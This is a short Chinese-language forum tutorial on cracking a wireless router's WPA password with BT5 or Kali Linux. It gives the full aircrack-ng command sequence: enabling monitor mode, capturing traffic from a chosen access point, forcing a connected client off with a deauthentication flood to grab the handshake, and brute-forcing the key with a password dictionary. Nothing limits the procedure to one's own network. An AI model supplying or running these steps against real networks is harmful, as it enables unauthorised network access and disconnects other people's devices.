BT5/Kali 破解无线路由密码
写在前面的废话关于无线密码的破解成功与否除了准备一个好的工具你还要洗好脸
无线密码的破解除了前面需要成功的捕捉到 .cap外还需要一个跑密码的字典
字典的大小决定了你破解成功的成功率,当然了字典越大跑的时间越久.
如果是小字典的话洗干净脸了能跑出来.在我自己的残机上3G的小字典跑完用了将近8个小时
其次不一定只有BT5和Kali才能破解,基本上ubuntu,debian等都可以.windows还有现成的GUI工具
--------------------我是万恶的分割线--------------------
1> 打开BT5的wicd network manager 选择一个信号好的,然后点击"properties(属性)" .打开后继续点击里面的"信息(属性)查看AP的MAC地址和channel信道号并记录下来
2>ifconfig查看自己无线网卡的名字,这里我自己的无线网卡名字是wlan0.
3>开启无线监控 airmon-ng start 无线设备名字 channel号 eg: airmon-ng start wlan0 4
//如果看到有提示XXXX XXXX进程影响的,执行 kill XXX XXXXXX为给出的进程号,然后重新执行上面语句直到不报错
4>监控开启后就选择好了我们的目标AP执行下面命令
airodump-ng -w loiter -c 4 --bssid AP's MAC mon0
//* AP's MAC 为之前查看到的AP的MAC地址,这时我们只需要看到几个地方
BSSID下的地址是AP MAC . STATION下的地址是CP MAC
然后根据得到的Client的MAC地址,从中选择一个活跃的*//
5>打开一个新的终端,而之前的终端不要关闭,在新的终端输入
aireplay-ng -0 10 -a AP's MAC -c CP's MAC mon0
//AP's MAC是BSSID下的地址,CP's MAC是 STATION下的地址是CP
执行命令后在回到第一个终端看是否出现 WAP Handshake标志,如果出现就已经抓到握手了.如果没有那么继续执行命令直到出现
6>执行 aircrack-ng -w password.txt -b AP's MAC loiter.cap
//password.txt为字典文件,自己配置的文件也需要放到默认的路径下
7>看脸的时刻到了,破解成功会显示出密码.忘了截图没有截图参考.可以google一下有相关的成功截图
8>各命令的解释以及在步骤6会遇到的问题
airodump-ng -w loiter -c 4 --bssid AP's MAC mon0
//*从mon0利用4信道扑获无线AP的数据,保存到loiter.cap文件,通常在root目录下,如果扑获多次则文件名递增loiter-001.cap
-w loiter：扑获的文件名; -c 4 ：信道4 *//
aireplay-ng -0 10 -a AP's MAC -c CP's MAC mon0
//-a :AP's MAC;-c:CP's MAC , 此命令一旦执行客户机有断网的可能
aircrack-ng -w password.txt -b AP's MAC loiter.cap
这句命令直接运行可能会出错,因为路径不对.上面的命令以我自己的机器为例可以写成
aircrack-ng -w /root/Dictionary/pw3G.txt -b AP's MAC /root/loiter.cap
页:
[1]